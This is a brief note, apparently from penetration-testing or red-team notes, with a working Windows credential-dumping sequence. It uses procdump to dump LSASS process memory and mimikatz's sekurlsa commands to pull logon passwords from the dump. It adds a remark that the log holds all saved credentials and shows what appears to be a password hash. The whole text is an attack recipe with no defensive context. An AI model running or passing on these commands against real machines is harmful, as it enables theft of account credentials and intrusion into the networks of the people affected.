procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe log sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
In the log file, we have all saved creds
→ 64f12cddaa88057e06a81b54e73b949b